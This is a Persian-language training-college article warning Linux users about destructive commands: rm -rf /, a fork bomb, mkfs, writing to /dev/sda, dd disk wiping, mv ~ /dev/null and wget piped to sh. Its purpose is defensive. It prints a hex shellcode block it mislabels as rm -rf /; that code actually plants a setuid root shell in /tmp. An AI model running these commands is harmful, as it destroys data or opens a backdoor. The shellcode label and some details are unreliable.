کالج اورست : اولین آموزشگاه تخصصی هوش مصنوعی، برنامه نویسی، شبکه و کامپیوتر در کرج با بیش از 17000 فارغ التحصیل (تاسیس 1388 )
یاد گرفتن کامند هایی که شما را دچار مشکلات عدیده ای
نظیر از بین رفتن سیستم عامل در توزیع های لینوکس می کنند باعث می شود که از حربه
های کسانی که برای سرگرمی و شیطنت آنها را در دستورات لینوکس پیشنهاد می دهند در
امان بمانید. این مقاله یک مقاله کامل نیست و ممکن است command هایی که در اینجا یاد می شود با دستورات
دیگری در یک خط قرار بگیرند و شما را دچار گمراهی کنند.
اولین نکته که باید توجه داشته باشید این است که اغلب
دستورات زیر با دسترسی Root اجرا می شوند. پس اولین قدم امنیتی که می توانید بردارید
این است که همیشه با دسترسی Root وارد ترمینال نشوید و در صورت لزوم از دستور Sudo
برای گرفتن دسترسی Root
استفاده کنید.
کامند rm –rf / هر آن چیزی که در ریشه لینوکس شما یعنی دایرکتوری / هست
را پاک می کند. این فایل ها عبارتند از فایل ها و فولدر های روی هارد دیسک سیستم
شما و دستگاه های قابل حمل مانند فلش USB. برای اطلاع از
rm کامندی است که کار Remove را انجام می دهد و –rf به این معنیست که بصورت
Recursive و Force (بدون پرسیدن مجدد)
فایل ها را پاک کن. / هم به معنی دایرکتوری ریشه یا Root می باشد.
دستور مشابه rm –rf /
Command زیر دستور کاملا مشابه rm –rf / است که بصوت Hex در آمده است.
# rm –rf /
char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68”
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99”
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7”
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56”
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31”
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69”
“\x6e\x2f\x73\x68\x00\x2d\x63\x00”
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;
نمونه
این دستور در اینترنت پیدا می شود که احتمالا گفته شده کار مثبتی انجام می دهد!
توجه داشته باشید که هرگز کامندی را که نمی دانید چه کاری انجام می دهد اجرا
نکنید.
کامند :(){ :|: & };: یک کامند ساده به نظر می رسد اما می تواند بسیار خطرناک
باشد! این کامند یک bash function است.
این کاراکتر های کوتاه یک Function هستند که کار آن تولید یک نسخه کپی
جدید از خودش است. این کار بصورت یک Loop انجام شده و آنقدر از خودش نسخه جدید تولید می کند که کل
منابع CPU و RAM سرور شما را درگیر می کند تا سیستم
به حالت Freeze فرو
رود. از این دستور به عنوان یک حمله DoS و Fork Bomb نام برده می شود.
نکته: Bash function ها بسیار قدرتمند هستند، حتی اگر خیلی کوتاه باشند.
فهمیدن کامند mkfs.ext4 /dev/sda1 خیلی ساده است.
Mkfs مخفف Make File System است به معنی ایجاد یک فایل سیستم جدید.
Ext4 یک نوع File System است.
/dev/sda1 مسیر اولین پارتیشن اولین هارد دیسک روی سرور است.
این دستور به این معنی است که کل پارتیشن اصلی را فرمت
کنیم! مشابه این دستور در ویندوز فرمت کردن درایو C است. این دستور کل پارتیشن sda1
شما را پاک کرده و یک
پارتیشن جدید با فایل سیستم ext4 میسازد.
نکته: در صورتی که کامندی را روی /dev/sd* اجزا می کنید دقت لازم را داشته
باشید.
دستور command > /dev/sda (منظور از command هر دستوری است که به جای کلمه
command می نشیند.) در واقع به این شکل است که یک
کامند را اجرا می کند بعد با استفاده از کاراکتر > نتیجه دستور را در مسیر
/dev/sda می نویسد. این نوشتن باعث
می شود که اولین بایت های هارد دیسک که اطلاعات فایل سیستم در آن نوشته شده است
دچار تخریب شوند و دیسک غیر قابل استفاده شود.
نکته: هرگز خروجی یک دستور را بصورت مستقیم در یک هارد
دیسک ننویسید.
دستور dd if=/dev/random
of=/dev/sda باعث می شود که کل محتوای هارد دیسک sda شما از بین برود.
دستور dd در لینوکس دو مقدار می گیرد که محتوای if را بصورت Low-Level در of کپی می کند. معمولا برای از بین
بردن اطلاعات به صورتی که بازیابی آن توسط recovery ها غیر ممکن باشد از این کامند
استفاده می شود. مسیر /dev/zero شامل محتوای ۰ است. این دستور باعث می شود تک تک بایت های
هارد دیسک با کاراکتر ۰ پر شود.
نکته: دستور dd در لینوکس محتوا را از if به of کپی می کند مراقب باشید در of چه مسیری را وارد می کنید.
مسیر /dev/null یک مسیر ویژه است. انتقال هر چیزی به این مسیر به معنی
نابود کردن آن است. مسیر /dev/null مسیر یک سیاه چاله است که بازگشتی از آن وجود ندارد.
کامند mv ~ /dev/null کل محتویات پوشه شخصی شما را به سیاه چاله میفرستد و دیگر
دسترسی به آن نخواهید داشت.
دستور mv عملیات move را انجام می دهد.
~ مسیر Home Directory شخصی است که لاگین کرده است.
/dev/null هم مسیرسیاه چاله است.
نکته: انتقال هر چیزی به مسیر /dev/null باعث نابودی آن می شود.
دستور بالا یک اسکریپت را از اینترنت دانلود می کند و به
محض اتمام دانلود ان را به عنوان یک Script اجرا می کند. این مساله می تواند زمانی خطرناک باشد که
اطمینان از صحت عملکرد آن اسکریپت نداشته باشید.
کامند wget یک فایل را از اینترنت دانلود می کند.
http://example.com/something مسیر فایلیست که در حال دانلود می
باشد.
کاراکتر | (Pipe Line) خروجی دستور سمت چپ را به ورودی دستور سمت راست می فرستد.
Sh فایل را به عنوان یک Bash Script اجرا می کند.
نکته: هرگز اسکریپت های نامطمئن و ناشناخته را دانلود و
اجرا نکنید.
امیدواریم با استفاده از این مقاله سیستم عامل لینوکسی
خود را همواره از خطرات این چنینی حفظ نمایید.